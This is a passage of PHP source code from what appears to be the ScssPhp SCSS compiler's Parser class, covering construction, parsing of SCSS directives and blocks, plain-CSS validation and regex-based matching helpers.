     * @param integer              $sourceIndex
     * @param string|null          $encoding
     * @param Cache|null           $cache
     * @param bool                 $cssOnly
     * @param LoggerInterface|null $logger
     */
    public function __construct($sourceName, $sourceIndex = 0, $encoding = 'utf-8', Cache $cache = null, $cssOnly = false, LoggerInterface $logger = null)
    {
        $this->sourceName       = $sourceName ?: '(stdin)';
        $this->sourceIndex      = $sourceIndex;
        $this->charset          = null;
        $this->utf8             = ! $encoding || strtolower($encoding) === 'utf-8';
        $this->patternModifiers = $this->utf8 ? 'Aisu' : 'Ais';
        $this->commentsSeen     = [];
        $this->commentsSeen     = [];
        $this->allowVars        = true;
        $this->cssOnly          = $cssOnly;
        $this->logger = $logger ?: new QuietLogger();

        if (empty(static::$operatorPattern)) {
            static::$operatorPattern = '([*\/%+-]|[!=]\=|\>\=?|\<\=?|and|or)';

            $commentSingle      = '\/\/';
            $commentMultiLeft   = '\/\*';
            $commentMultiRight  = '\*\/';

            static::$commentPattern = $commentMultiLeft . '.*?' . $commentMultiRight;
            static::$whitePattern = $this->utf8
                ? '/' . $commentSingle . '[^\n]*\s*|(' . static::$commentPattern . ')\s*|\s+/AisuS'
                : '/' . $commentSingle . '[^\n]*\s*|(' . static::$commentPattern . ')\s*|\s+/AisS';
        }

        $this->cache = $cache;
    }

    /**
     * Get source file name
     *
     * @api
     *
     * @return string
     */
    public function getSourceName()
    {
        return $this->sourceName;
    }

    /**
     * Throw parser error
     *
     * @api
     *
     * @param string $msg
     *
     * @phpstan-return never-return
     *
     * @throws ParserException
     *
     * @deprecated use "parseError" and throw the exception in the caller instead.
     */
    public function throwParseError($msg = 'parse error')
    {
        @trigger_error(
            'The method "throwParseError" is deprecated. Use "parseError" and throw the exception in the caller instead',
            E_USER_DEPRECATED
        );

        throw $this->parseError($msg);
    }

    /**
     * Creates a parser error
     *
     * @api
     *
     * @param string $msg
     *
     * @return ParserException
     */
    public function parseError($msg = 'parse error')
    {
        list($line, $column) = $this->getSourcePosition($this->count);

        $loc = empty($this->sourceName)
             ? "line: $line, column: $column"
             : "$this->sourceName on line $line, at column $column";

        if ($this->peek('(.*?)(\n|$)', $m, $this->count)) {
            $this->restoreEncoding();

            $e = new ParserException("$msg: failed at `$m[1]` $loc");
            $e->setSourcePosition([$this->sourceName, $line, $column]);

            return $e;
        }

        $this->restoreEncoding();

        $e = new ParserException("$msg: $loc");
        $e->setSourcePosition([$this->sourceName, $line, $column]);

        return $e;
    }

    /**
     * Parser buffer
     *
     * @api
     *
     * @param string $buffer
     *
     * @return Block
     */
    public function parse($buffer)
    {
        if ($this->cache) {
            $cacheKey = $this->sourceName . ':' . md5($buffer);
            $parseOptions = [
                'charset' => $this->charset,
                'utf8' => $this->utf8,
            ];
            $v = $this->cache->getCache('parse', $cacheKey, $parseOptions);

            if (! \is_null($v)) {
                return $v;
            }
        }

        // strip BOM (byte order marker)
        if (substr($buffer, 0, 3) === "\xef\xbb\xbf") {
            $buffer = substr($buffer, 3);
        }

        $this->buffer          = rtrim($buffer, "\x00..\x1f");
        $this->count           = 0;
        $this->env             = null;
        $this->inParens        = false;
        $this->eatWhiteDefault = true;

        $this->saveEncoding();
        $this->extractLineNumbers($buffer);

        $this->pushBlock(null); // root block
        $this->whitespace();
        $this->pushBlock(null);
        $this->popBlock();

        while ($this->parseChunk()) {
            ;
        }

        if ($this->count !== \strlen($this->buffer)) {
            throw $this->parseError();
        }

        if (! empty($this->env->parent)) {
            throw $this->parseError('unclosed block');
        }

        if ($this->charset) {
            array_unshift($this->env->children, $this->charset);
        }

        $this->restoreEncoding();

        if ($this->cache) {
            $this->cache->setCache('parse', $cacheKey, $this->env, $parseOptions);
        }

        return $this->env;
    }

    /**
     * Parse a value or value list
     *
     * @api
     *
     * @param string       $buffer
     * @param string|array $out
     *
     * @return boolean
     */
    public function parseValue($buffer, &$out)
    {
        $this->count           = 0;
        $this->env             = null;
        $this->inParens        = false;
        $this->eatWhiteDefault = true;
        $this->buffer          = (string) $buffer;

        $this->saveEncoding();
        $this->extractLineNumbers($this->buffer);

        $list = $this->valueList($out);

        $this->restoreEncoding();

        return $list;
    }

    /**
     * Parse a selector or selector list
     *
     * @api
     *
     * @param string       $buffer
     * @param string|array $out
     * @param bool         $shouldValidate
     *
     * @return boolean
     */
    public function parseSelector($buffer, &$out, $shouldValidate = true)
    {
        $this->count           = 0;
        $this->env             = null;
        $this->inParens        = false;
        $this->eatWhiteDefault = true;
        $this->buffer          = (string) $buffer;

        $this->saveEncoding();
        $this->extractLineNumbers($this->buffer);

        // discard space/comments at the start
        $this->discardComments = true;
        $this->whitespace();
        $this->discardComments = false;

        $selector = $this->selectors($out);

        $this->restoreEncoding();

        if ($shouldValidate && $this->count !== strlen($buffer)) {
            throw $this->parseError("`" . substr($buffer, $this->count) . "` is not a valid Selector in `$buffer`");
        }

        return $selector;
    }

    /**
     * Parse a media Query
     *
     * @api
     *
     * @param string       $buffer
     * @param string|array $out
     *
     * @return boolean
     */
    public function parseMediaQueryList($buffer, &$out)
    {
        $this->count           = 0;
        $this->env             = null;
        $this->inParens        = false;
        $this->eatWhiteDefault = true;
        $this->buffer          = (string) $buffer;

        $this->saveEncoding();
        $this->extractLineNumbers($this->buffer);

        $isMediaQuery = $this->mediaQueryList($out);

        $this->restoreEncoding();

        return $isMediaQuery;
    }

    /**
     * Parse a single chunk off the head of the buffer and append it to the
     * current parse environment.
     *
     * Returns false when the buffer is empty, or when there is an error.
     *
     * This function is called repeatedly until the entire document is
     * parsed.
     *
     * This parser is most similar to a recursive descent parser. Single
     * functions represent discrete grammatical rules for the language, and
     * they are able to capture the text that represents those rules.
     *
     * Consider the function Compiler::keyword(). (All parse functions are
     * structured the same.)
     *
     * The function takes a single reference argument. When calling the
     * function it will attempt to match a keyword on the head of the buffer.
     * If it is successful, it will place the keyword in the referenced
     * argument, advance the position in the buffer, and return true. If it
     * fails then it won't advance the buffer and it will return false.
     *
     * All of these parse functions are powered by Compiler::match(), which behaves
     * the same way, but takes a literal regular expression. Sometimes it is
     * more convenient to use match instead of creating a new function.
     *
     * Because of the format of the functions, to parse an entire string of
     * grammatical rules, you can chain them together using &&.
     *
     * But, if some of the rules in the chain succeed before one fails, then
     * the buffer position will be left at an invalid state. In order to
     * avoid this, Compiler::seek() is used to remember and set buffer positions.
     *
     * Before parsing a chain, use $s = $this->count to remember the current
     * position into $s. Then if a chain fails, use $this->seek($s) to
     * go back where we started.
     *
     * @return boolean
     */
    protected function parseChunk()
    {
        $s = $this->count;

        // the directives
        if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] === '@') {
            if (
                $this->literal('@at-root', 8) &&
                ($this->selectors($selector) || true) &&
                ($this->map($with) || true) &&
                (($this->matchChar('(') &&
                    $this->interpolation($with) &&
                    $this->matchChar(')')) || true) &&
                $this->matchChar('{', false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $atRoot = $this->pushSpecialBlock(Type::T_AT_ROOT, $s);
                $atRoot->selector = $selector;
                $atRoot->with     = $with;

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@media', 6) &&
                $this->mediaQueryList($mediaQueryList) &&
                $this->matchChar('{', false)
            ) {
                $media = $this->pushSpecialBlock(Type::T_MEDIA, $s);
                $media->queryList = $mediaQueryList[2];

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@mixin', 6) &&
                $this->keyword($mixinName) &&
                ($this->argumentDef($args) || true) &&
                $this->matchChar('{', false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $mixin = $this->pushSpecialBlock(Type::T_MIXIN, $s);
                $mixin->name = $mixinName;
                $mixin->args = $args;

                return true;
            }

            $this->seek($s);

            if (
                ($this->literal('@include', 8) &&
                    $this->keyword($mixinName) &&
                    ($this->matchChar('(') &&
                    ($this->argValues($argValues) || true) &&
                    $this->matchChar(')') || true) &&
                    ($this->end()) ||
                ($this->literal('using', 5) &&
                    $this->argumentDef($argUsing) &&
                    ($this->end() || $this->matchChar('{') && $hasBlock = true)) ||
                $this->matchChar('{') && $hasBlock = true)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $child = [
                    Type::T_INCLUDE,
                    $mixinName,
                    isset($argValues) ? $argValues : null,
                    null,
                    isset($argUsing) ? $argUsing : null
                ];

                if (! empty($hasBlock)) {
                    $include = $this->pushSpecialBlock(Type::T_INCLUDE, $s);
                    $include->child = $child;
                } else {
                    $this->append($child, $s);
                }

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@scssphp-import-once', 20) &&
                $this->valueList($importPath) &&
                $this->end()
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                list($line, $column) = $this->getSourcePosition($s);
                $file = $this->sourceName;
                $this->logger->warn("The \"@scssphp-import-once\" directive is deprecated and will be removed in ScssPhp 2.0, in \"$file\", line $line, column $column.", true);

                $this->append([Type::T_SCSSPHP_IMPORT_ONCE, $importPath], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@import', 7) &&
                $this->valueList($importPath) &&
                $importPath[0] !== Type::T_FUNCTION_CALL &&
                $this->end()
            ) {
                if ($this->cssOnly) {
                    $this->assertPlainCssValid([Type::T_IMPORT, $importPath], $s);
                    $this->append([Type::T_COMMENT, rtrim(substr($this->buffer, $s, $this->count - $s))]);
                    return true;
                }

                $this->append([Type::T_IMPORT, $importPath], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@import', 7) &&
                $this->url($importPath) &&
                $this->end()
            ) {
                if ($this->cssOnly) {
                    $this->assertPlainCssValid([Type::T_IMPORT, $importPath], $s);
                    $this->append([Type::T_COMMENT, rtrim(substr($this->buffer, $s, $this->count - $s))]);
                    return true;
                }

                $this->append([Type::T_IMPORT, $importPath], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@extend', 7) &&
                $this->selectors($selectors) &&
                $this->end()
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                // check for '!flag'
                $optional = $this->stripOptionalFlag($selectors);
                $this->append([Type::T_EXTEND, $selectors, $optional], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@function', 9) &&
                $this->keyword($fnName) &&
                $this->argumentDef($args) &&
                $this->matchChar('{', false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $func = $this->pushSpecialBlock(Type::T_FUNCTION, $s);
                $func->name = $fnName;
                $func->args = $args;

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@return', 7) &&
                ($this->valueList($retVal) || true) &&
                $this->end()
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $this->append([Type::T_RETURN, isset($retVal) ? $retVal : [Type::T_NULL]], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@each', 5) &&
                $this->genericList($varNames, 'variable', ',', false) &&
                $this->literal('in', 2) &&
                $this->valueList($list) &&
                $this->matchChar('{', false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $each = $this->pushSpecialBlock(Type::T_EACH, $s);

                foreach ($varNames[2] as $varName) {
                    $each->vars[] = $varName[1];
                }

                $each->list = $list;

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@while', 6) &&
                $this->expression($cond) &&
                $this->matchChar('{', false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                while (
                    $cond[0] === Type::T_LIST &&
                    ! empty($cond['enclosing']) &&
                    $cond['enclosing'] === 'parent' &&
                    \count($cond[2]) == 1
                ) {
                    $cond = reset($cond[2]);
                }

                $while = $this->pushSpecialBlock(Type::T_WHILE, $s);
                $while->cond = $cond;

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@for', 4) &&
                $this->variable($varName) &&
                $this->literal('from', 4) &&
                $this->expression($start) &&
                ($this->literal('through', 7) ||
                    ($forUntil = true && $this->literal('to', 2))) &&
                $this->expression($end) &&
                $this->matchChar('{', false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $for = $this->pushSpecialBlock(Type::T_FOR, $s);
                $for->var   = $varName[1];
                $for->start = $start;
                $for->end   = $end;
                $for->until = isset($forUntil);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@if', 3) &&
                $this->functionCallArgumentsList($cond, false, '{', false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $if = $this->pushSpecialBlock(Type::T_IF, $s);

                while (
                    $cond[0] === Type::T_LIST &&
                    ! empty($cond['enclosing']) &&
                    $cond['enclosing'] === 'parent' &&
                    \count($cond[2]) == 1
                ) {
                    $cond = reset($cond[2]);
                }

                $if->cond  = $cond;
                $if->cases = [];

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@debug', 6) &&
                $this->functionCallArgumentsList($value, false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $this->append([Type::T_DEBUG, $value], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@warn', 5) &&
                $this->functionCallArgumentsList($value, false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $this->append([Type::T_WARN, $value], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@error', 6) &&
                $this->functionCallArgumentsList($value, false)
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $this->append([Type::T_ERROR, $value], $s);

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@content', 8) &&
                ($this->end() ||
                    $this->matchChar('(') &&
                    $this->argValues($argContent) &&
                    $this->matchChar(')') &&
                    $this->end())
            ) {
                ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

                $this->append([Type::T_MIXIN_CONTENT, isset($argContent) ? $argContent : null], $s);

                return true;
            }

            $this->seek($s);

            $last = $this->last();

            if (isset($last) && $last[0] === Type::T_IF) {
                list(, $if) = $last;

                if ($this->literal('@else', 5)) {
                    if ($this->matchChar('{', false)) {
                        $else = $this->pushSpecialBlock(Type::T_ELSE, $s);
                    } elseif (
                        $this->literal('if', 2) &&
                        $this->functionCallArgumentsList($cond, false, '{', false)
                    ) {
                        $else = $this->pushSpecialBlock(Type::T_ELSEIF, $s);
                        $else->cond = $cond;
                    }

                    if (isset($else)) {
                        $else->dontAppend = true;
                        $if->cases[] = $else;

                        return true;
                    }
                }

                $this->seek($s);
            }

            // only retain the first @charset directive encountered
            if (
                $this->literal('@charset', 8) &&
                $this->valueList($charset) &&
                $this->end()
            ) {
                if (! isset($this->charset)) {
                    $statement = [Type::T_CHARSET, $charset];

                    list($line, $column) = $this->getSourcePosition($s);

                    $statement[static::SOURCE_LINE]   = $line;
                    $statement[static::SOURCE_COLUMN] = $column;
                    $statement[static::SOURCE_INDEX]  = $this->sourceIndex;

                    $this->charset = $statement;
                }

                return true;
            }

            $this->seek($s);

            if (
                $this->literal('@supports', 9) &&
                ($t1 = $this->supportsQuery($supportQuery)) &&
                ($t2 = $this->matchChar('{', false))
            ) {
                $directive = $this->pushSpecialBlock(Type::T_DIRECTIVE, $s);
                $directive->name  = 'supports';
                $directive->value = $supportQuery;

                return true;
            }

            $this->seek($s);

            // doesn't match built in directive, do generic one
            if (
                $this->matchChar('@', false) &&
                $this->mixedKeyword($dirName) &&
                $this->directiveValue($dirValue, '{')
            ) {
                if (count($dirName) === 1 && is_string(reset($dirName))) {
                    $dirName = reset($dirName);
                } else {
                    $dirName = [Type::T_STRING, '', $dirName];
                }
                if ($dirName === 'media') {
                    $directive = $this->pushSpecialBlock(Type::T_MEDIA, $s);
                } else {
                    $directive = $this->pushSpecialBlock(Type::T_DIRECTIVE, $s);
                    $directive->name = $dirName;
                }

                if (isset($dirValue)) {
                    ! $this->cssOnly || ($dirValue = $this->assertPlainCssValid($dirValue));
                    $directive->value = $dirValue;
                }

                return true;
            }

            $this->seek($s);

            // maybe it's a generic blockless directive
            if (
                $this->matchChar('@', false) &&
                $this->mixedKeyword($dirName) &&
                ! $this->isKnownGenericDirective($dirName) &&
                ($this->end(false) || ($this->directiveValue($dirValue, '') && $this->end(false)))
            ) {
                if (\count($dirName) === 1 && \is_string(\reset($dirName))) {
                    $dirName = \reset($dirName);
                } else {
                    $dirName = [Type::T_STRING, '', $dirName];
                }
                if (
                    ! empty($this->env->parent) &&
                    $this->env->type &&
                    ! \in_array($this->env->type, [Type::T_DIRECTIVE, Type::T_MEDIA])
                ) {
                    $plain = \trim(\substr($this->buffer, $s, $this->count - $s));
                    throw $this->parseError(
                        "Unknown directive `{$plain}` not allowed in `" . $this->env->type . "` block"
                    );
                }
                // blockless directives with a blank line after keeps their blank lines after
                // sass-spec compliance purpose
                $s = $this->count;
                $hasBlankLine = false;
                if ($this->match('\s*?\n\s*\n', $out, false)) {
                    $hasBlankLine = true;
                    $this->seek($s);
                }
                $isNotRoot = ! empty($this->env->parent);
                $this->append([Type::T_DIRECTIVE, [$dirName, $dirValue, $hasBlankLine, $isNotRoot]], $s);
                $this->whitespace();

                return true;
            }

            $this->seek($s);

            return false;
        }

        $inCssSelector = null;
        if ($this->cssOnly) {
            $inCssSelector = (! empty($this->env->parent) &&
                ! in_array($this->env->type, [Type::T_DIRECTIVE, Type::T_MEDIA]));
        }
        // custom properties : right part is static
        if (($this->customProperty($name) ) && $this->matchChar(':', false)) {
            $start = $this->count;

            // but can be complex and finish with ; or }
            foreach ([';','}'] as $ending) {
                if (
                    $this->openString($ending, $stringValue, '(', ')', false) &&
                    $this->end()
                ) {
                    $end = $this->count;
                    $value = $stringValue;

                    // check if we have only a partial value due to nested [] or { } to take in account
                    $nestingPairs = [['[', ']'], ['{', '}']];

                    foreach ($nestingPairs as $nestingPair) {
                        $p = strpos($this->buffer, $nestingPair[0], $start);

                        if ($p && $p < $end) {
                            $this->seek($start);

                            if (
                                $this->openString($ending, $stringValue, $nestingPair[0], $nestingPair[1], false) &&
                                $this->end() &&
                                $this->count > $end
                            ) {
                                $end = $this->count;
                                $value = $stringValue;
                            }
                        }
                    }

                    $this->seek($end);
                    $this->append([Type::T_CUSTOM_PROPERTY, $name, $value], $s);

                    return true;
                }
            }

            // TODO: output an error here if nothing found according to sass spec
        }

        $this->seek($s);

        // property shortcut
        // captures most properties before having to parse a selector
        if (
            $this->keyword($name, false) &&
            $this->literal(': ', 2) &&
            $this->valueList($value) &&
            $this->end()
        ) {
            $name = [Type::T_STRING, '', [$name]];
            $this->append([Type::T_ASSIGN, $name, $value], $s);

            return true;
        }

        $this->seek($s);

        // variable assigns
        if (
            $this->variable($name) &&
            $this->matchChar(':') &&
            $this->valueList($value) &&
            $this->end()
        ) {
            ! $this->cssOnly || $this->assertPlainCssValid(false, $s);

            // check for '!flag'
            $assignmentFlags = $this->stripAssignmentFlags($value);
            $this->append([Type::T_ASSIGN, $name, $value, $assignmentFlags], $s);

            return true;
        }

        $this->seek($s);

        // opening css block
        if (
            $this->selectors($selectors) &&
            $this->matchChar('{', false)
        ) {
            ! $this->cssOnly || ! $inCssSelector || $this->assertPlainCssValid(false);

            $this->pushBlock($selectors, $s);

            if ($this->eatWhiteDefault) {
                $this->whitespace();
                $this->append(null); // collect comments at the beginning if needed
            }

            return true;
        }

        $this->seek($s);

        // property assign, or nested assign
        if (
            $this->propertyName($name) &&
            $this->matchChar(':')
        ) {
            $foundSomething = false;

            if ($this->valueList($value)) {
                if (empty($this->env->parent)) {
                    throw $this->parseError('expected "{"');
                }

                $this->append([Type::T_ASSIGN, $name, $value], $s);
                $foundSomething = true;
            }

            if ($this->matchChar('{', false)) {
                ! $this->cssOnly || $this->assertPlainCssValid(false);

                $propBlock = $this->pushSpecialBlock(Type::T_NESTED_PROPERTY, $s);
                $propBlock->prefix = $name;
                $propBlock->hasValue = $foundSomething;

                $foundSomething = true;
            } elseif ($foundSomething) {
                $foundSomething = $this->end();
            }

            if ($foundSomething) {
                return true;
            }
        }

        $this->seek($s);

        // closing a block
        if ($this->matchChar('}', false)) {
            $block = $this->popBlock();

            if (! isset($block->type) || $block->type !== Type::T_IF) {
                if ($this->env->parent) {
                    $this->append(null); // collect comments before next statement if needed
                }
            }

            if (isset($block->type) && $block->type === Type::T_INCLUDE) {
                $include = $block->child;
                unset($block->child);
                $include[3] = $block;
                $this->append($include, $s);
            } elseif (empty($block->dontAppend)) {
                $type = isset($block->type) ? $block->type : Type::T_BLOCK;
                $this->append([$type, $block], $s);
            }

            // collect comments just after the block closing if needed
            if ($this->eatWhiteDefault) {
                $this->whitespace();

                if ($this->env->comments) {
                    $this->append(null);
                }
            }

            return true;
        }

        // extra stuff
        if ($this->matchChar(';')) {
            return true;
        }

        return false;
    }

    /**
     * Push block onto parse tree
     *
     * @param array|null $selectors
     * @param integer $pos
     *
     * @return Block
     */
    protected function pushBlock($selectors, $pos = 0)
    {
        list($line, $column) = $this->getSourcePosition($pos);

        $b = new Block();
        $b->sourceName   = $this->sourceName;
        $b->sourceLine   = $line;
        $b->sourceColumn = $column;
        $b->sourceIndex  = $this->sourceIndex;
        $b->selectors    = $selectors;
        $b->comments     = [];
        $b->parent       = $this->env;

        if (! $this->env) {
            $b->children = [];
        } elseif (empty($this->env->children)) {
            $this->env->children = $this->env->comments;
            $b->children = [];
            $this->env->comments = [];
        } else {
            $b->children = $this->env->comments;
            $this->env->comments = [];
        }

        $this->env = $b;

        // collect comments at the beginning of a block if needed
        if ($this->eatWhiteDefault) {
            $this->whitespace();

            if ($this->env->comments) {
                $this->append(null);
            }
        }

        return $b;
    }

    /**
     * Push special (named) block onto parse tree
     *
     * @param string  $type
     * @param integer $pos
     *
     * @return Block
     */
    protected function pushSpecialBlock($type, $pos)
    {
        $block = $this->pushBlock(null, $pos);
        $block->type = $type;

        return $block;
    }

    /**
     * Pop scope and return last block
     *
     * @return Block
     *
     * @throws \Exception
     */
    protected function popBlock()
    {

        // collect comments ending just before of a block closing
        if ($this->env->comments) {
            $this->append(null);
        }

        // pop the block
        $block = $this->env;

        if (empty($block->parent)) {
            throw $this->parseError('unexpected }');
        }

        if ($block->type == Type::T_AT_ROOT) {
            // keeps the parent in case of self selector &
            $block->selfParent = $block->parent;
        }

        $this->env = $block->parent;

        unset($block->parent);

        return $block;
    }

    /**
     * Peek input stream
     *
     * @param string  $regex
     * @param array   $out
     * @param integer $from
     *
     * @return integer
     */
    protected function peek($regex, &$out, $from = null)
    {
        if (! isset($from)) {
            $from = $this->count;
        }

        $r = '/' . $regex . '/' . $this->patternModifiers;
        $result = preg_match($r, $this->buffer, $out, 0, $from);

        return $result;
    }

    /**
     * Seek to position in input stream (or return current position in input stream)
     *
     * @param integer $where
     */
    protected function seek($where)
    {
        $this->count = $where;
    }

    /**
     * Assert a parsed part is plain CSS Valid
     *
     * @param array|false $parsed
     * @param int $startPos
     * @throws ParserException
     */
    protected function assertPlainCssValid($parsed, $startPos = null)
    {
        $type = '';
        if ($parsed) {
            $type = $parsed[0];
            $parsed = $this->isPlainCssValidElement($parsed);
        }
        if (! $parsed) {
            if (! \is_null($startPos)) {
                $plain = rtrim(substr($this->buffer, $startPos, $this->count - $startPos));
                $message = "Error : `{$plain}` isn't allowed in plain CSS";
            } else {
                $message = 'Error: SCSS syntax not allowed in CSS file';
            }
            if ($type) {
                $message .= " ($type)";
            }
            throw $this->parseError($message);
        }

        return $parsed;
    }

    /**
     * Check a parsed element is plain CSS Valid
     * @param array $parsed
     * @return bool|array
     */
    protected function isPlainCssValidElement($parsed, $allowExpression = false)
    {
        // keep string as is
        if (is_string($parsed)) {
            return $parsed;
        }

        if (
            \in_array($parsed[0], [Type::T_FUNCTION, Type::T_FUNCTION_CALL]) &&
            !\in_array($parsed[1], [
                'alpha',
                'attr',
                'calc',
                'cubic-bezier',
                'env',
                'grayscale',
                'hsl',
                'hsla',
                'hwb',
                'invert',
                'linear-gradient',
                'min',
                'max',
                'radial-gradient',
                'repeating-linear-gradient',
                'repeating-radial-gradient',
                'rgb',
                'rgba',
                'rotate',
                'saturate',
                'var',
            ]) &&
            Compiler::isNativeFunction($parsed[1])
        ) {
            return false;
        }

        switch ($parsed[0]) {
            case Type::T_BLOCK:
            case Type::T_KEYWORD:
            case Type::T_NULL:
            case Type::T_NUMBER:
            case Type::T_MEDIA:
                return $parsed;

            case Type::T_COMMENT:
                if (isset($parsed[2])) {
                    return false;
                }
                return $parsed;

            case Type::T_DIRECTIVE:
                if (\is_array($parsed[1])) {
                    $parsed[1][1] = $this->isPlainCssValidElement($parsed[1][1]);
                    if (! $parsed[1][1]) {
                        return false;
                    }
                }

                return $parsed;

            case Type::T_IMPORT:
                if ($parsed[1][0] === Type::T_LIST) {
                    return false;
                }
                $parsed[1] = $this->isPlainCssValidElement($parsed[1]);
                if ($parsed[1] === false) {
                    return false;
                }
                return $parsed;

            case Type::T_STRING:
                foreach ($parsed[2] as $k => $substr) {
                    if (\is_array($substr)) {
                        $parsed[2][$k] = $this->isPlainCssValidElement($substr);
                        if (! $parsed[2][$k]) {
                            return false;
                        }
                    }
                }
                return $parsed;

            case Type::T_LIST:
                if (!empty($parsed['enclosing'])) {
                    return false;
                }
                foreach ($parsed[2] as $k => $listElement) {
                    $parsed[2][$k] = $this->isPlainCssValidElement($listElement);
                    if (! $parsed[2][$k]) {
                        return false;
                    }
                }
                return $parsed;

            case Type::T_ASSIGN:
                foreach ([1, 2, 3] as $k) {
                    if (! empty($parsed[$k])) {
                        $parsed[$k] = $this->isPlainCssValidElement($parsed[$k]);
                        if (! $parsed[$k]) {
                            return false;
                        }
                    }
                }
                return $parsed;

            case Type::T_EXPRESSION:
                list( ,$op, $lhs, $rhs, $inParens, $whiteBefore, $whiteAfter) = $parsed;
                if (! $allowExpression &&  ! \in_array($op, ['and', 'or', '/'])) {
                    return false;
                }
                $lhs = $this->isPlainCssValidElement($lhs, true);
                if (! $lhs) {
                    return false;
                }
                $rhs = $this->isPlainCssValidElement($rhs, true);
                if (! $rhs) {
                    return false;
                }

                return [
                    Type::T_STRING,
                    '', [
                        $this->inParens ? '(' : '',
                        $lhs,
                        ($whiteBefore ? ' ' : '') . $op . ($whiteAfter ? ' ' : ''),
                        $rhs,
                        $this->inParens ? ')' : ''
                    ]
                ];

            case Type::T_CUSTOM_PROPERTY:
            case Type::T_UNARY:
                $parsed[2] = $this->isPlainCssValidElement($parsed[2]);
                if (! $parsed[2]) {
                    return false;
                }
                return $parsed;

            case Type::T_FUNCTION:
                $argsList = $parsed[2];
                foreach ($argsList[2] as $argElement) {
                    if (! $this->isPlainCssValidElement($argElement)) {
                        return false;
                    }
                }
                return $parsed;

            case Type::T_FUNCTION_CALL:
                $parsed[0] = Type::T_FUNCTION;
                $argsList = [Type::T_LIST, ',', []];
                foreach ($parsed[2] as $arg) {
                    if ($arg[0] || ! empty($arg[2])) {
                        // no named arguments possible in a css function call
                        // nor ... argument
                        return false;
                    }
                    $arg = $this->isPlainCssValidElement($arg[1], $parsed[1] === 'calc');
                    if (! $arg) {
                        return false;
                    }
                    $argsList[2][] = $arg;
                }
                $parsed[2] = $argsList;
                return $parsed;
        }

        return false;
    }

    /**
     * Match string looking for either ending delim, escape, or string interpolation
     *
     * {@internal This is a workaround for preg_match's 250K string match limit. }}
     *
     * @param array  $m     Matches (passed by reference)
     * @param string $delim Delimiter
     *
     * @return boolean True if match; false otherwise
     */
    protected function matchString(&$m, $delim)
    {
        $token = null;

        $end = \strlen($this->buffer);

        // look for either ending delim, escape, or string interpolation
        foreach (['#{', '\\', "\r", $delim] as $lookahead) {
            $pos = strpos($this->buffer, $lookahead, $this->count);

            if ($pos !== false && $pos < $end) {
                $end = $pos;
                $token = $lookahead;
            }
        }

        if (! isset($token)) {
            return false;
        }

        $match = substr($this->buffer, $this->count, $end - $this->count);
        $m = [
            $match . $token,
            $match,
            $token
        ];
        $this->count = $end + \strlen($token);

        return true;
    }

    /**
     * Try to match something on head of buffer
     *
     * @param string  $regex
     * @param array   $out
     * @param boolean $eatWhitespace
     *
     * @return boolean
     */
    protected function match($regex, &$out, $eatWhitespace = null)
    {
        $r = '/' . $regex . '/' . $this->patternModifiers;

        if (! preg_match($r, $this->buffer, $out, 0, $this->count)) {
            return false;
        }

        $this->count += \strlen($out[0]);

        if (! isset($eatWhitespace)) {
            $eatWhitespace = $this->eatWhiteDefault;
        }

        if ($eatWhitespace) {
            $this->whitespace();
        }

        return true;
    }

    /**
     * Match a single string
     *
     * @param string  $char
     * @param boolean $eatWhitespace
     *
     * @return boolean
     */
    protected function matchChar($char, $eatWhitespace = null)
    {
        if (! isset($this->buffer[$this->count]) || $this->buffer[$this->count] !== $char) {
            return false;
        }

        $this->count++;

        if (! isset($eatWhitespace)) {
            $eatWhitespace = $this->eatWhiteDefault;
        }

        if ($eatWhitespace) {
            $this->whitespace();
        }

        return true;
    }

    /**
     * Match literal string
     *
     * @param string  $what
     * @param integer $len
     * @param boolean $eatWhitespace
     *
     * @return boolean
     */
    protected function literal($what, $len, $eatWhitespace = null)
    {
        if (strcasecmp(substr($this->buffer, $this->count, $len), $what) !== 0) {
            return false;
        }

        $this->count += $len;

        if (! isset($eatWhitespace)) {
            $eatWhitespace = $this->eatWhiteDefault;
        }

        if ($eatWhitespace) {
            $this->whitespace();
        }

        return true;
    }

    /**
     * Match some whitespace
     *
     * @return boolean
     */
    protected function whitespace()
    {
        $gotWhite = false;

        while (preg_match(static::$whitePattern, $this->buffer, $m, 0, $this->count)) {
            if (isset($m[1]) && empty($this->commentsSeen[$this->count])) {
                // comment that are kept in the output CSS
                $comment = [];
                $startCommentCount = $this->count;
                $endCommentCount = $this->count + \strlen($m[1]);

                // find interpolations in comment
                $p = strpos($this->buffer, '#{', $this->count);

                while ($p !== false && $p < $endCommentCount) {
                    $c           = substr($this->buffer, $this->count, $p - $this->count);
                    $comment[]   = $c;
                    $this->count = $p;
